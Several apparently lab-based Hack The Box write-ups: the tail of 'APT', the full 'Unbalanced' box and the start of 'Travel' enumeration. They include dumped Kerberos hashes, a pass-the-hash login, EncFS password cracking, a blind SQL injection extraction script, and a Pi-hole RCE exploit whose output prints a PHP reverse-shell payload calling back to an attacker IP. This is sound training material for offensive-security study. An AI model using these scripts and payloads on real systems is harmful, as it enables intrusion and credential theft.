  Administrator:aes256-cts-hmac-sha1-96:72f9fc8f3cd23768be8d37876d459ef09ab591a729924898e5d9b3c14db057e3
  Administrator:aes128-cts-hmac-sha1-96:a3b0c1332eee9a89a2aada1bf8fd9413
  Administrator:des-cbc-md5:0816d9d052239b8a
  krbtgt:aes256-cts-hmac-sha1-96:b63635342a6d3dce76fcbca203f92da46be6cdd99c67eb233d0aaaaaa40914bb
  krbtgt:aes128-cts-hmac-sha1-96:7735d98abc187848119416e08936799b
  krbtgt:des-cbc-md5:f8c26238c2d976bf
  henry.vinson:aes256-cts-hmac-sha1-96:63b23a7fd3df2f0add1e62ef85ea4c6c8dc79bb8d6a430ab3a1ef6994d1a99e2
  henry.vinson:aes128-cts-hmac-sha1-96:0a55e9f5b1f7f28aef9b7792124af9af
  henry.vinson:des-cbc-md5:73b6f71cae264fad
  henry.vinson_adm:aes256-cts-hmac-sha1-96:f2299c6484e5af8e8c81777eaece865d54a499a2446ba2792c1089407425c3f4
  henry.vinson_adm:aes128-cts-hmac-sha1-96:3d70c66c8a8635bdf70edf2f6062165b
  henry.vinson_adm:des-cbc-md5:5df8682c8c07a179
  APT$:aes256-cts-hmac-sha1-96:4c318c89595e1e3f2c608f3df56a091ecedc220be7b263f7269c412325930454
  APT$:aes128-cts-hmac-sha1-96:bf1c1795c63ab278384f2ee1169872d9
  APT$:des-cbc-md5:76c45245f104a4bf
  [] Cleaning up...
```

### 5.4 Shell as Administrator <a href="#id-5-4-shell-as-administrator" id="id-5-4-shell-as-administrator"></a>

```shell-session
$ evil-winrm -i apt.htb -u Administrator -H c370bddf384a691d811ff3495e8a72e2 --no-colors

PS C:\Users\Administrator\Documents> whoami

  htb\administrator

PS C:\Users\Administrator\Documents> dir ..\Desktop


      Directory: C:\Users\Administrator\Desktop


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  -ar---       xx/xx/xxxx  xx:xx XX             34 root.txt


PS C:\Users\Administrator\Documents> ipconfig

  Windows IP Configuration


  Ethernet adapter Ethernet:

     Connection-specific DNS Suffix  . :
     IPv6 Address. . . . . . . . . . . : dead:beef::3d05:a1a8:4a51:c2fe
     IPv6 Address. . . . . . . . . . . : dead:beef::b885:d62a:d679:573f
     Link-local IPv6 Address . . . . . : fe80::3d05:a1a8:4a51:c2fe%5
     IPv4 Address. . . . . . . . . . . : 10.10.10.213
     Subnet Mask . . . . . . . . . . . : 255.255.255.0
     Default Gateway . . . . . . . . . : dead:beef::1
                                         fe80::250:56ff:feb9:75a0%5
                                         10.10.10.2
```

## REFERENCES <a href="#references" id="references"></a>

* <https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/>
* <https://adsecurity.org/?p=2398>
* <https://www.lifewire.com/hkey-users-2625903>
* <https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level>
* <https://book.hacktricks.xyz/windows/active-directory-methodology/printers-spooler-service-abuse>


# HTB Unbalanced

10.10.10.200 | 40 pts

## PART 1 : INITIAL RECON <a href="#part-1-initial-recon" id="part-1-initial-recon"></a>

### 1.1 NMAP SCAN

```shell-session
$ nmap -oN nmap.tcp.initial --min-rate 5000 -p- -v 10.10.10.200

  PORT     STATE SERVICE
  22/tcp   open  ssh
  873/tcp  open  rsync
  3128/tcp open  squid-http

$ nmap -oN nmap.tcp.unbalanced -p 22,873,3128 -sC -sV -T4 10.10.10.200

  PORT     STATE SERVICE    VERSION
  22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  | ssh-hostkey:
  |   2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
  |   256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
  |_  256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
  873/tcp  open  rsync      (protocol version 31)
  3128/tcp open  http-proxy Squid http proxy 4.6
  |_http-server-header: squid/4.6
  |_http-title: ERROR: The requested URL could not be retrieved
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## PART 2 : PORT ENUMERATION <a href="#part-2-port-enumeration" id="part-2-port-enumeration"></a>

**`rsync`** seems to be open on port 873 and checking if there are any shared folders:

```shell-session
$ rsync -av --list-only rsync://10.10.10.200

  conf_backups    EncFS-encrypted configuration backups
```

There is a shared folder named, **`conf_backups`**, which based on the description is probably an encrypted file share but it contains config files so some sort of credentials might be lying around somewhere.

```shell-session
$ rsync -av rsync://10.10.10.200/conf_backups ./conf_backups

  receiving incremental file list
  ./
  ,CBjPJW4EGlcqwZW4nmVqBA6
  -FjZ6-6,Fa,tMvlDsuVAO7ek
  .encfs6.xml
  0K72OfkNRRx3-f0Y6eQKwnjn
  27FonaNT2gnNc3voXuKWgEFP4sE9mxg0OZ96NB0x4OcLo-
  2VyeljxHWrDX37La6FhUGIJS
  3E2fC7coj5,XQ8LbNXVX9hNFhsqCjD-g3b-7Pb5VJHx3C1
  3cdBkrRF7R5bYe1ZJ0KYy786
  3xB4vSQH-HKVcOMQIs02Qb9,
  4J8k09nLNFsb7S-JXkxQffpbCKeKFNJLk6NRQmI11FazC1
  5-6yZKVDjG4n-AMPD65LOpz6-kz,ae0p2VOWzCokOwxbt,
  5FTRnQDoLdRfOEPkrhM2L29P
  5IUA28wOw0wwBs8rP5xjkFSs
  6R1rXixtFRQ5c9ScY8MBQ1Rg
  7-dPsi7efZRoXkZ5oz1AxVd-Q,L05rofx0Mx8N2dQyUNA,
  7zivDbWdbySIQARaHlm3NbC-7dUYF-rpYHSQqLNuHTVVN1
  8CBL-MBKTDMgB6AT2nfWfq-e
  8XDA,IOhFFlhh120yl54Q0da
  8e6TAzw0xs2LVxgohuXHhWjM
  9F9Y,UITgMo5zsWaP1TwmOm8EvDCWwUZurrL0TwjR,Gxl0
  A4qOD1nvqe9JgKnslwk1sUzO
  Acv0PEQX8vs-KdK307QNHaiF
  B6J5M3OP0X7W25ITnaZX753T
  Chlsy5ahvpl5Q0o3hMyUIlNwJbiNG99DxXJeR5vXXFgHC1
  ECXONXBBRwhb5tYOIcjjFZzh
  F4F9opY2nhVVnRgiQ,OUs-Y0
  FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1
  FSXWRSwW6vOvJ0ExPK0fXJ6F
  IymL3QugM,XxLuKEdwJJOOpi
  KPYfvxIoOlrRjTY18zi8Wne-
  Kb-,NDTgYevHOGdHCYsSQhhIHrUGjiM6i2JZcl,-PKAJm0
  Kpo3MHQxksW2uYX79XngQu-f
  KtFc,DR7HqmGdPOkM2CpLaM9
  Mv5TtpmUNnVl-fgqQeYAy8uu
  MxgjShAeN6AmkH2tQAsfaj6C
  Ni8LDatT134DF6hhQf5ESpo5
  Nlne5rpWkOxkPNC15SEeJ8g,
  OFG2vAoaW3Tvv1X2J5fy4UV8
  OvBqims-kvgGyJJqZ59IbGfy
  StlxkG05UY9zWNHBhXxukuP9
  TZGfSHeAM42o9TgjGUdOSdrd
  VQjGnKU1puKhF6pQG1aah6rc
  W5,ILrUB4dBVW-Jby5AUcGsz
  Wr0grx0GnkLFl8qT3L0CyTE6
  X93-uArUSTL,kiJpOeovWTaP
  Ya30M5le2NKbF6rD-qD3M-7t
  Yw0UEJYKN,Hjf-QGqo3WObHy
  Z8,hYzUjW0GnBk1JP,8ghCsC
  ZXUUpn9SCTerl0dinZQYwxrx
  ZvkMNEBKPRpOHbGoefPa737T
  a4zdmLrBYDC24s9Z59y-Pwa2
  c9w3APbCYWfWLsq7NFOdjQpA
  cwJnkiUiyfhynK2CvJT7rbUrS3AEJipP7zhItWiLcRVSA1
  dF2GU58wFl3x5R7aDE6QEnDj
  dNTEvgsjgG6lKBr8ev8Dw,p7
  gK5Z2BBMSh9iFyCFfIthbkQ6
  gRhKiGIEm4SvYkTCLlOQPeh-
  hqZXaSCJi-Jso02DJlwCtYoz
  iaDKfUAHJmdqTDVZsmCIS,Bn
  jIY9q65HMBxJqUW48LJIc,Fj
  kdJ5whfqyrkk6avAhlX-x0kh
  kheep9TIpbbdwNSfmNU1QNk-
  l,LY6YoFepcaLg67YoILNGg0
  lWiv4yDEUfliy,Znm17Al41zi0BbMtCbN8wK4gHc333mt,
  mMGincizgMjpsBjkhWq-Oy0D
  oPu0EVyHA6,KmoI1T,LTs83x
  pfTT,nZnCUFzyPPOeX9NwQVo
  pn6YPUx69xqxRXKqg5B5D2ON
  q5RFgoRK2Ttl3U5W8fjtyriX
  qeHNkZencKDjkr3R746ZzO5K
  sNiR-scp-DZrXHg4coa9KBmZ
  sfT89u8dsEY4n99lNsUFOwki
  uEtPZwC2tjaQELJmnNRTCLYU
  vCsXjR1qQmPO5g3P3kiFyO84
  waEzfb8hYE47wHeslfs1MvYdVxqTtQ8XGshJssXMmvOsZLhtJWWRX31cBfhdVygrCV5

  sent 1,452 bytes  received 411,990 bytes  28,513.24 bytes/sec
  total size is 405,603  speedup is 0.98
```

There are a lot of files but it still needs to be decrypted. One way to do this is by using **`encfs2john`**:

```shell-session
$ locate encfs

  /usr/share/john/encfs2john.py

$ python3 /usr/share/john/encfs2john.py ./conf_backups

  ./conf_backups:$encfs$19258028002099176a6e4d96c0b32bad9d4feb3d8e425165f105441b2a580dea6cda1aedd96d0b72f43de132b239f51c224852030dfe8892da2cad329edc006815a3e84b887add

$ python3 /usr/share/john/encfs2john.py ./conf_backups > conf_backups.hash

$ john --wordlist=/usr/share/wordlists/rockyou.txt conf_backups.hash

$ john --show conf_backups.hash

  ./conf_backups:bubblegum

  1 password hash cracked, 0 left

$ mkdir conf_backups_dec

$ encfs $(pwd)/conf_backups $(pwd)/conf_backups_dec

  EncFS Password: bubblegum
```

Now that the files have been decrypted, the directory looks like this:

```shell-session
$ ls conf_backups_dec

  50-localauthority.conf              hdparm.conf                      parser.conf
  50-nullbackend.conf                 host.conf                        protect-links.conf
  51-debian-sudo.conf                 initramfs.conf                   reportbug.conf
  70debconf                           input.conf                       resolv.conf
  99-sysctl.conf                      journald.conf                    resolved.conf
  access.conf                         kernel-img.conf                  rsyncd.conf
  adduser.conf                        ldap.conf                        rsyslog.conf
  bluetooth.conf                      ld.so.conf                       semanage.conf
  ca-certificates.conf                libaudit.conf                    sepermit.conf
  com.ubuntu.SoftwareProperties.conf  libc.conf                        sleep.conf
  dconf                               limits.conf                      squid.conf
  debconf.conf                        listchanges.conf                 sysctl.conf
  debian.conf                         logind.conf                      system.conf
  deluser.conf                        logrotate.conf                   time.conf
  dhclient.conf                       main.conf                        timesyncd.conf
  discover-modprobe.conf              mke2fs.conf                      ucf.conf
  dkms.conf                           modules.conf                     udev.conf
  dns.conf                            namespace.conf                   update-initramfs.conf
  dnsmasq.conf                        network.conf                     user.conf
  docker.conf                         networkd.conf                    user-dirs.conf
  fakeroot-x86_64-linux-gnu.conf      nsswitch.conf                    Vendor.conf
  framework.conf                      org.freedesktop.PackageKit.conf  wpa_supplicant.conf
  fuse.conf                           PackageKit.conf                  x86_64-linux-gnu.conf
  gai.conf                            pam.conf                         xattr.conf
  group.conf                          pam_env.conf
```

Since the files are now readable, we can begin searching for interesting information:

```shell-session
$ cd conf_backups_dec

$ cat  | grep -i "pass" | grep -v "#"

  mozilla/Buypass_Class_2_Root_CA.crt
  mozilla/Buypass_Class_3_Root_CA.crt
  Reject-Type: password
  Name: passwords
  Accept-Type: password
  Filename: /var/cache/debconf/passwords.dat
  Stack: config, passwords
  passwd:         files systemd
  cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
  cachemgr_passwd disable all

$ grep --with-filename "cachemgr_passwd"  | grep -v "#"

  squid.conf:cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
  squid.conf:cachemgr_passwd disable all
```

There is a password explicitly written in the **`Squid Proxy`** config file. This makes sense being the name of the box is Unbalanced so this must be about a misconfigured load balancer or something as there is an **`http proxy setup at port 3128`**.

What was also listed beside the **`cachemgr_passwd`** password are the options we could explore in the Squid Proxy Cache Manager.

I wrote a simple python script in order to explore the cache manager:

```python
from base64 import b64encode
from pwn import *
import sys

host = "10.10.10.200"
port = 3128
req = "GET cache_object://{}:{}/{} HTTP/1.1\r\n".format(host, port, sys.argv[1])

username = ""
password = "Thah$Sh1"
creds = b64encode("{}:{}".format(username, password).encode("utf-8"))
auth = "Authorization: Basic {}\r\n".format(str(creds)[2:-1])

http = "{}{}".format(req, auth)
squid = remote("10.10.10.200", 3128)
squid.sendline(http)

while True:
    try:
        line = squid.recv().decode("unicode_escape")[:-1]
        print(line)
    except: break
```

And now checking what we could do and get:

```shell-session
$ python3 squid.py menu | grep protected

  menu                   Cache Manager Menu                      protected
  pconn                  Persistent Connection Utilization Histograms    protected
  mem                    Memory Utilization                      protected
  diskd                  DISKD Stats                             protected
  fqdncache              FQDN Cache Stats and Contents           protected
  filedescriptors        Process Filedescriptor Allocation       protected
  objects                All Cache Objects                       protected
  vm_objects             In-Memory and In-Transit Objects        protected
  counters               Traffic and Resource Counters           protected
  5min                   5 Minute Average of Counters            protected
  60min                  60 Minute Average of Counters           protected
  histograms             Full Histogram Counts                   protected
  cbdata                 Callback Data Registry Contents         protected
  sbuf                   String-Buffer statistics                protected
  events                 Event Queue                             protected

$ python3 squid.py fqdncache

  [...OMITTED...]
  Address                                       Flg TTL Cnt Hostnames
  127.0.1.1                                       H -001   2 unbalanced.htb unbalanced
  ::1                                             H -001   3 localhost ip6-localhost ip6-loopback
  172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
  172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
  127.0.0.1                                       H -001   1 localhost
  172.17.0.1                                      H -001   1 intranet.unbalanced.htb
  ff02::1                                         H -001   1 ip6-allnodes
  ff02::2                                         H -001   1 ip6-allrouters
```

There are three things interesting here — **`intranet.unbalanced.htb`** (172.17.0.1), **`intranet-host2.unbalanced.htb`** (172.31.179.2), and **`intranet-host3.unbalanced.htb`** (172.31.179.3).

Opening **`intranet.unbalanced.htb`** after setting up my proxy (Foxy Proxy) leads me to:

![Figure 1. Proxy Settings](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/foxy_proxy.PNG)

![Figure 2. Intranet Landing Page (/intranet.php)](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/intranet_landing_page.png)

Examining the reponse headers using `curl`:

```shell-session
$ curl -I --proxy "http://10.10.10.200:3128" http://172.17.0.1

  HTTP/1.1 302 Found
  Server: nginx/1.14.0 (Ubuntu)
  Date: Sat, 05 Dec 2020 22:12:03 GMT
  Content-Type: text/html; charset=UTF-8
  Location: intranet.php
  Intranet-Host: intranet-host3.unbalanced.htb
  X-Cache: MISS from unbalanced
  X-Cache-Lookup: MISS from unbalanced:3128
  Via: 1.1 unbalanced (squid/4.6)
  Connection: keep-alive
```

The internal load balancer will either bring you to **`intranet-host2`** or **`intranet-host3`** which contains a login form and a contact form which doesn’t seem to do anything when you submit entries or fail to login.

But then you’ll notice something missing…​ what happened to **`intranet-host1`**? Since host2 is at 172.31.179.2 and host3 is at 172.31.179.3, maybe it’s at 172.31.179.1.

```shell-session
$ curl -I --proxy "http://10.10.10.200:3128" http://172.31.179.1

  HTTP/1.1 200 OK
  Server: nginx/1.14.0 (Ubuntu)
  Date: Sat, 05 Dec 2020 22:38:45 GMT
  Content-Type: text/html; charset=UTF-8
  Intranet-Host: intranet-host1.unbalanced.htb
  X-Cache: MISS from unbalanced
  X-Cache-Lookup: MISS from unbalanced:3128
  Via: 1.1 unbalanced (squid/4.6)
  Connection: keep-alive

$ curl --proxy "http://10.10.10.200:3128" http://172.31.179.1

  Host temporarily taken out of load balancing for security maintenance.
```

And it does exist but this time, when you go to **`/intranet.php`** and try to login, an error message now appears which was not apparent in the other hosted applications.

![](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/intranet_host1_login.png)

## PART 3 : EXPLOITATION <a href="#part-3-exploitation" id="part-3-exploitation"></a>

After testing a simple SQL injection payload like **`' or '1'='1`**, the form seems to be vulnerable as it returns a list of users and their respective roles. It is important to note that the form rejects capital letters so **`' OR '1'='1`** will not work. Comment characters also seem to be rejected.

![Figure 4. User list](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/intranet_host1_sqli.png)

Since we have an error message and given the limitations of the form, maybe it could be leveraged to extract passwords for the listed users. I’ll focus on bryan since he has the role of System Administrator.

I wrote another python script for this:

```python
import requests as r

target = "http://172.31.179.1/intranet.php"
proxy = { "http": "http://10.10.10.200:3128" }

char_set = "abcdefghihjklmnopqrstuvwxyz0123456789!@$%^&*()=_+,./<>?:"
password = ""
while True:
    for i in char_set:
        payload = {
            "Username": "bryan",
            "Password": "' or substring(Password,{},1)='{}' or '".format(len(password)+1, i)
        }
        res = r.post(target, proxies=proxy, data=payload)

        if "bryan@unbalanced.htb" in res.text:
            password += i
            print(password)
            break

    if i == char_set[-1]: break
```

```shell-session
$ python3 intranet.py

  i
  ir
  ire
  irea
  ireal
  ireall
  ireally
  ireallyl
  ireallyl0
  ireallyl0v
  ireallyl0ve
  ireallyl0veb
  ireallyl0vebu
  ireallyl0vebub
  ireallyl0vebubb
  ireallyl0vebubbl
  ireallyl0vebubble
  ireallyl0vebubbleg
  ireallyl0vebubblegu
  ireallyl0vebubblegum
  ireallyl0vebubblegum!
  ireallyl0vebubblegum!!
  ireallyl0vebubblegum!!!
```

Checking to see if the password works:

![Figure 5. Successful login as bryan](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/intranet_host1_bryan.png)

And it does!

## PART 4 : GENERATE USER SHELL (bryan) <a href="#part-3-generate-user-shell-bryan" id="part-3-generate-user-shell-bryan"></a>

```shell-session
$ ssh -l bryan 10.10.10.200

  The authenticity of host '10.10.10.200 (10.10.10.200)' can\'t be established.
  ECDSA key fingerprint is SHA256:aiHhPmnhyt434Qvr9CpJRZOmU7m1R1LI29c11na1obY.
  Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
  Warning: Permanently added '10.10.10.200' (ECDSA) to the list of known hosts.
  bryan@10.10.10.200\'s password: ireallyl0vebubblegum!!!

bryan@unbalanced:~$ ls -la

  -rw-r--r-- 1 bryan bryan  798 Jun 17 11:35 TODO
  -rw-r--r-- 1 root  root    33 Dec  5 14:18 user.txt
```

## PART 5 : PRIVILEGE ESCALATION (bryan → root) <a href="#part-3-privilege-escalation-bryan-root" id="part-3-privilege-escalation-bryan-root"></a>

Examining the TODO file in bryan’s home directory:

```shell-session
bryan@unbalanced:~$ cat TODO

  ############
  # Intranet #
  ############
  * Install new intranet-host3 docker [DONE]
  * Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
  * Test intranet-host3 [DONE]
  * Add intranet-host3 to load balancer [DONE]
  * Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
  * Fix intranet-host2 [DONE]
  * Re-add intranet-host2 to load balancer (set default weight) [DONE]
  - Fix intranet-host1 [TODO]
  - Re-add intranet-host1 to load balancer (set default weight) [TODO]

  ###########
  # Pi-hole #
  ###########
  * Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
  * Set temporary admin password [DONE]
  * Create Pi-hole configuration script [IN PROGRESS]
  - Run Pi-hole configuration script [TODO]
  - Expose Pi-hole ports to the network [TODO]
```

The file basically confirms the path to user where intranet-host1 is being troubleshooted but the important thing here is that there is a Pi-hole service running but is only available locally. It uses a temporary password so it’s probably insecure and new credentials may probably be found in the configuration script being created as of the moment.

Checking to see what we can connect to locally:

```shell-session
bryan@unbalanced:~$ ss -plnt | grep 127.0.0.1

  LISTEN    0         128              127.0.0.1:8080             0.0.0.0:*
  LISTEN    0         128              127.0.0.1:5553             0.0.0.0:*

bryan@unbalanced:~$ curl http://127.0.0.1:8080/

  [ERROR]: Unable to parse results from <i>queryads.php</i>: <code>Unhandled error message (<code>Invalid domain!</code>)</code>
```

There is an error when trying to access the service running at port 8080 locally but according to this [Reddit thread](https://www.reddit.com/r/pihole/comments/ca9d45/problems_with_admin_interface_on_docker/), it seems like you can go directly to /admin/.

```shell-session
bryan@unbalanced:~$ curl -I http://127.0.0.1:8080/admin/

  HTTP/1.1 200 OK
  X-Pi-hole: The Pi-hole Web interface is working!
  X-Frame-Options: DENY
  Set-Cookie: PHPSESSID=icng7lp4cktfauu6lt26inrot0; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Content-type: text/html; charset=UTF-8
  Date: Sun, 06 Dec 2020 00:09:08 GMT
  Server: lighttpd/1.4.45
```

The Pi-hole service can now be reached! However, it’s running via docker so I decided to look for an IP it might be running from and maybe access it via Squid Proxy. Looking back into the file, squid.conf:

```shell-session
$ cat squid.conf | grep dst

  acl intranet dstdomain -n intranet.unbalanced.htb
  acl intranet_net dst -n 172.16.0.0/12

$ cat squid.conf | grep intranet_net

  acl intranet_net dst -n 172.16.0.0/12
  http_access allow intranet_net
```

Access to the IP range 172.16.0.0/12 (172.16.0.0 – 172.31.255.255) is allowed via the proxy and checking the interfaces available to the machine, I decided to do a ping sweep in the IP range, 172.31.0.1/16.

```shell-session
bryan@unbalanced:~$ ip a | grep "inet "

  inet 127.0.0.1/8 scope host lo
  inet 10.10.10.200/24 brd 10.10.10.255 scope global ens160
  inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
  inet 172.31.0.1/16 brd 172.31.255.255 scope global br-742fc4eb92b1

bryan@unbalanced:~$ for x in {1..254}; do for y in {1..254}; do (ping -c1 172.31.$x.$y 2>/dev/null | grep "bytes from" &); done; done

  64 bytes from 172.31.11.3: icmp_seq=1 ttl=64 time=0.248 ms
  64 bytes from 172.31.179.2: icmp_seq=1 ttl=64 time=0.175 ms
  64 bytes from 172.31.179.3: icmp_seq=1 ttl=64 time=0.148 ms
  64 bytes from 172.31.179.1: icmp_seq=1 ttl=64 time=0.122 ms
```

Aside from the previous intranet hosts, there is a new host identified --172.31.11.3. Trying to access it via Squid Proxy leads you to:

![Figure 6. Pi-hole Landing Page](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/pi-hole_landing_page.png)

Now going to the login page, and remembering that a temporary password is set for the admin account, I tried "admin" and it went through but there is not much to do so I search also for an exploit for the current version of Pi-hole being run.

![Figure 7. Pi-hole Login Page](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/pi-hole_login.png)

![Figure 8. Pi-hole Admin Panel](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/pi-hole_admin_panel.png)

![Figure 9. Pi-hole Version](https://seymour.hackstreetboys.ph/boxes/screenshots/49_unbalanced/pi-hole_version.png)

Looking for exploits:

```shell-session
$ searchsploit pi-hole

  searchsploit pi-hole
  ------------------------------------------------------------------------------------- ---------------------------------
   Exploit Title                                                                       |  Path
  ------------------------------------------------------------------------------------- ---------------------------------
  Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)          | php/remote/48491.rb
  Pi-hole 4.3.2 - Remote Code Execution (Authenticated)                                | python/webapps/48727.py
  Pi-hole 4.4.0 - Remote Code Execution (Authenticated)                                | linux/webapps/48519.py
  Pi-hole < 4.4 - Authenticated Remote Code Execution                                  | linux/webapps/48442.py
  Pi-hole < 4.4 - Authenticated Remote Code Execution / Privileges Escalation          | linux/webapps/48443.py
  Pi-Hole Web Interface 2.8.1 - Persistent Cross-Site Scripting in Whitelist/Blacklist | linux/webapps/40249.txt
  ------------------------------------------------------------------------------------- ---------------------------------
  Shellcodes: No Results

$ searchsploit -m python/webapps/48727.py

$ python 48727.py

  ╔═╗┬ ┬┌┐┌  ╔═╗┬┬ ┬┌─┐┬  ┌─┐
  ╠═╝││││││  ╠═╝│├─┤│ ││  ├┤
  ╩  └┴┘┘└┘  ╩  ┴┴ ┴└─┘┴─┘└─┘
        by @CyberVaca

  usage: 48727.py [-h] -u URL -p PORT -i IP -pass PASSWORD
  48727.py: error: argument -u is required
```

Setting up the exploit — I forwarded the locally available service inside the machine since HTTP proxies are very unreliable when establishing reverse shells afterwhich I setup a listener via `netcat` in my machine:

```shell-session
$ sshpass -p 'ireallyl0vebubblegum!!!' ssh -l bryan -L 8080:127.0.0.1:8080 -f -N 10.10.10.200

$ nc -lvp 4444

  listening on [any] 4444 ...
```

Then I ran the exploit:

> ```
> $ python 48727.py -u http://127.0.0.1:8080 -p 4444 -i 10.10.14.11 -pass admin
>
>   ╔═╗┬ ┬┌┐┌  ╔═╗┬┬ ┬┌─┐┬  ┌─┐
>   ╠═╝││││││  ╠═╝│├─┤│ ││  ├┤
>   ╩  └┴┘┘└┘  ╩  ┴┴ ┴└─┘┴─┘└─┘
>         by @CyberVaca
>
>   [] Token: TYiXiwh9ctRRTAHZ/5bZz/HX3vfihy6jvq8BYk1yb9w=
>   [] Payload: php -r '$sock=fsockopen("10.10.14.11", 4444);exec("/bin/sh -i <&3 >&3 2>&3");'
>   [+] Sending Payload...
> ```

Going back to the listener:

```shell-session
$ id

  uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ hostname

  pihole.unbalanced.htb

$ cd /root

$ ls -l

  -rw-r--r-- 1 root root 113876 Sep 20  2019 ph_install.sh
  -rw-r--r-- 1 root root    485 Apr  6  2020 pihole_config.sh

$ cat pihole_config.sh

  #!/bin/bash

  # Add domains to whitelist
  /usr/local/bin/pihole -w unbalanced.htb
  /usr/local/bin/pihole -w rebalanced.htb

  # Set temperature unit to Celsius
  /usr/local/bin/pihole -a -c

  # Add local host record
  /usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

  # Set privacy level
  /usr/local/bin/pihole -a -l 4

  # Set web admin interface password
  /usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

  # Set admin email
  /usr/local/bin/pihole -a email admin@unbalanced.htb
```

The `/root` directory is readable and in there is the Pi-hole config file mentioned earlier. A new password is visible and maybe this could be used to `su` to root:

```shell-session
bryan@unbalanced:~$ su -

  Password: bUbBl3gUm$43v3Ry0n3!

root@unbalanced:~# id

  uid=0(root) gid=0(root) groups=0(root)

root@unbalanced:~# ls -l

  -rw------- 1 root root 33 Dec  5 14:18 root.txt
```

And now, we have root!


# HTB Travel

10.10.10.189 | 40 pts | Synack Track

## PART 1 :  INITIAL ENUMERATION

### 1.1 nmap

```bash
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -v 10.10.10.189

  PORT    STATE SERVICE
  22/tcp  open  ssh
  80/tcp  open  http
  443/tcp open  https

$ nmap -oN nmap-tcp -p 22,80,443 -sC -sV -v 10.10.10.189

  PORT    STATE SERVICE  VERSION
  22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   3072 d3:9f:31:95:7e:5e:11:45:a2:b4:b6:34:c0:2d:2d:bc (RSA)
  |   256 ef:3f:44:21:46:8d:eb:6c:39:9c:78:4f:50:b3:f3:6b (ECDSA)
  |_  256 3a:01:bc:f8:57:f5:27:a1:68:1d:6a:3d:4e:bc:21:1b (ED25519)
  80/tcp  open  http     nginx 1.17.6
  | http-methods: 
  |_  Supported Methods: GET HEAD
  |_http-server-header: nginx/1.17.6
  |_http-title: Travel.HTB
  443/tcp open  ssl/http nginx 1.17.6
  | http-methods: 
  |_  Supported Methods: GET HEAD
  |_http-server-header: nginx/1.17.6
  |_http-title: Travel.HTB - SSL coming soon.
  | ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
  | Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
  | Issuer: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
  | Public Key type: rsa
  | Public Key bits: 2048
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2020-04-23T19:24:29
  | Not valid after:  2030-04-21T19:24:29
  | MD5:   ef0a a4c1 fbad 1ac4 d160 58e3 beac 9698
  |_SHA-1: 0170 7c30 db3e 2a93 cda7 7bbe 8a8b 7777 5bcd 0498
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

* Various subdomains were found -- `www.travel.htb`, `blog.travel.htb`, `blog-dev.travel.htb`.
* UDP scan using `nmap`, doesn't yield any result.

## PART 2 : PORT ENUMERATION

### 2.1 TCP PORT 80 : HTTP

#### 2.1.1 http\[://]travel.htb

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfciM5TdUAdTYEyfT7H%2F-MfckEgPM9RtvaHfHOHi%2Fimage.png?alt=media\&token=7ee91dfd-b634-4cf9-a225-1dc022101005)

#### 2.1.2 http\[://]blog.travel.htb

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfciM5TdUAdTYEyfT7H%2F-MfckLEOyoeF2Kjcd2TS%2Fimage.png?alt=media\&token=56d4febe-8133-4ff1-9135-55ea47b8acfb)

This subdomain is hosting a WordPress application. Using `wpscan` to enumerate the service:

```bash
$ wpscan --update

$ wpscan --output 80_wpscan_blog.txt --url http://blog.travel.htb

  [+] Headers
   | Interesting Entries:
   |  - Server: nginx/1.17.6
   |  - X-Powered-By: PHP/7.3.16
   | Found By: Headers (Passive Detection)
   | Confidence: 100%

  [+] robots.txt found: http://blog.travel.htb/robots.txt
   | Interesting Entries:
   |  - /wp-admin/
   |  - /wp-admin/admin-ajax.php
